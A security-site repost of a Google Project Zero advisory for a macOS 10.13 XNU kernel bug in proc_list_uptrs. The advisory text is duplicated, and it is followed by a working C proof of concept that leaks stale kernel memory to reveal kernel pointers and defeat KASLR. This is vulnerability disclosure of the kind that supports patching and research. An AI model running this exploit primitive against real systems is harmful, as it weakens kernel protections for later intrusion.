首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS XNU Kernel - Memory Disclosure due to bug in Kernel API for Detecting Kern
来源:Google Security Research 作者:Google 发布时间:2017-12-12  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1372
 
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
 
/*
 * Enumerate potential userspace pointers embedded in kernel data structures.
 * Currently inspects kqueues only.
 *
 * NOTE: returned "pointers" are opaque user-supplied values and thus not
 * guaranteed to address valid objects or be pointers at all.
 *
 * Returns the number of pointers found (which may exceed buffersize), or -1 on
 * failure and errno set appropriately.
 
 
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
places where the kernel is accidentally disclosing kernel pointers to userspace.
 
The implementation currently enumerates kqueues and dumps a bunch of values from them.
 
Here's the relevant code:
 
// buffer and buffersize are attacker controlled
 
int
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
{
  uint32_t count = 0;
  int error = 0;
  void *kbuf = NULL;
  int32_t nuptrs = 0;
 
  if (buffer != USER_ADDR_NULL) {
    count = buffersize / sizeof(uint64_t);     <---(a)
    if (count > MAX_UPTRS) {
      count = MAX_UPTRS;
      buffersize = count * sizeof(uint64_t);
    }
    if (count > 0) {
      kbuf = kalloc(buffersize);               <--- (b)
      assert(kbuf != NULL);
    }
  } else {
    buffersize = 0;
  }
 
  nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
 
  if (kbuf) {
    size_t copysize;
    if (os_mul_overflow(nuptrs, sizeof(uint64_t), &copysize)) {  <--- (c)
      error = ERANGE;
      goto out;
    }
    if (copysize > buffersize) {    <-- (d)
      copysize = buffersize;
    }
    error = copyout(kbuf, buffer, copysize);  <--- (e)
  }
 
 
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
which can fit in there.
 
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
 
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
 
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
but how many *could* have been written had the buffer been big enough.
 
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
will be limited down to buffersize.
 
Copysize is then used at (e) to copy the contents of kbuf to userspace.
 
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
 
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
only write to the first value to kbuf, leaving the last 7 bytes untouched.
 
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
 
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
 
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
 
Tested on MacOS 10.13 High Sierra (17A365)
*/
 
// ianbeer
 
#if 0
XNU kernel memory disclosure due to bug in kernel API for detecting kernel memory disclosures
 
the kernel libproc API proc_list_uptrs has the following comment in it's userspace header:
 
/*
 * Enumerate potential userspace pointers embedded in kernel data structures.
 * Currently inspects kqueues only.
 *
 * NOTE: returned "pointers" are opaque user-supplied values and thus not
 * guaranteed to address valid objects or be pointers at all.
 *
 * Returns the number of pointers found (which may exceed buffersize), or -1 on
 * failure and errno set appropriately.
 */
 
This is a recent addition to the kernel, presumably as a debugging tool to help enumerate
places where the kernel is accidentally disclosing kernel pointers to userspace.
 
The implementation currently enumerates kqueues and dumps a bunch of values from them.
 
Here's the relevant code:
 
// buffer and buffersize are attacker controlled
 
int
proc_pidlistuptrs(proc_t p, user_addr_t buffer, uint32_t buffersize, int32_t *retval)
{
    uint32_t count = 0;
    int error = 0;
    void *kbuf = NULL;
    int32_t nuptrs = 0;
 
    if (buffer != USER_ADDR_NULL) {
        count = buffersize / sizeof(uint64_t);     <---(a)
        if (count > MAX_UPTRS) {
            count = MAX_UPTRS;
            buffersize = count * sizeof(uint64_t);
        }
        if (count > 0) {
            kbuf = kalloc(buffersize);               <--- (b)
            assert(kbuf != NULL);
        }
    } else {
        buffersize = 0;
    }
 
    nuptrs = kevent_proc_copy_uptrs(p, kbuf, buffersize);
 
    if (kbuf) {
        size_t copysize;
        if (os_mul_overflow(nuptrs, sizeof(uint64_t), &copysize)) {  <--- (c)
            error = ERANGE;
            goto out;
        }
        if (copysize > buffersize) {    <-- (d)
            copysize = buffersize;
        }
        error = copyout(kbuf, buffer, copysize);  <--- (e)
    }
 
 
At (a) the attacker-supplied buffersize is divided by 8 to compute the maximum number of uint64_t's
which can fit in there.
 
If that value isn't huge then the attacker-supplied buffersize is used to kalloc the kbuf buffer at (b).
 
kbuf and buffersize are then passed to kevent_proc_copy_uptrs. Looking at the implementation of
kevent_proc_copy_uptrs the return value is the total number of values it found, even if that value is larger
than the supplied buffer. If it finds more than will fit it keeps counting but no longer writes them to the kbuf.
 
This means that at (c) the computed copysize value doesn't reflect how many values were actually written to kbuf
but how many *could* have been written had the buffer been big enough.
 
If there were possible values which could have been written than there was space in the buffer then at (d) copysize
will be limited down to buffersize.
 
Copysize is then used at (e) to copy the contents of kbuf to userspace.
 
The bug is that there's no enforcement that (buffersize % 8) == 0. If we were to pass a buffersize of 15, at (a) count would be 1
as 15 bytes is only enough to store 1 complete uint64_t. At (b) this would kalloc a buffer of 15 bytes.
 
If the target pid actually had 10 possible values which kevent_proc_copy_uptrs finds then nuptrs will return 10 but it will
only write to the first value to kbuf, leaving the last 7 bytes untouched.
 
At (c) copysize will be computed at 10*8 = 80 bytes, at (d) since 80 > 15 copysize will be truncated back down to buffersize (15)
and at (e) 15 bytes will be copied back to userspace even though only 8 were written to.
 
Kalloc doesn't zero-initialise returned memory so this can be used to easily and safely disclose lots of kernel memory, albeit
limited to the 7-least significant bytes of each 8-byte aligned qword. That's more than enough to easily defeat kaslr.
 
This PoC demonstrates the disclosure of kernel pointers in the stale kalloc memory.
 
Tested on MacOS 10.13 High Sierra (17A365)
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
#define PRIVATE
#include <libproc.h>
 
uint64_t try_leak(pid_t pid, int count) {
  size_t buf_size = (count*8)+7;
  char* buf = calloc(buf_size+1, 1);
 
  int err = proc_list_uptrs(pid, (void*)buf, buf_size);
 
  if (err == -1) {
    return 0;
  }
 
  // the last 7 bytes will contain the leaked data:
  uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
 
  return last_val;
}
 
int main(int argc, char** argv) {
  for (int pid = 0; pid < 1000; pid++) {
    for (int i = 0; i < 100; i++) {
      uint64_t leak = try_leak(pid, i);
      /*
      if (leak != 0 && leak != 0x00adbeefdeadbeef) {
        printf("%016llx\n", leak);
      }
      */
      if ((leak & 0x00ffffff00000000) == 0xffff8000000000) {
        printf("%016llx\n", leak);
      }
    }
  }
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MikroTik 6.40.5 ICMP - Denial
·macOS necp_get_socket_attribut
·Apple macOS 10.13.1 (High Sier
·macOS getrusage Stack Leak
·Apple macOS 10.13.1 (High Sier
·macOS/iOS - Multiple Kernel Us
·LabF nfsAxe FTP Client 3.7 - B
·macOS - Kernel Code Execution
·Linux Kernel - DCCP Socket Use
·macOS/iOS - Kernel Double Free
·Claymore Dual ETH + DCR/SC/LBC
·glibc ld.so - Memory Leak / Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved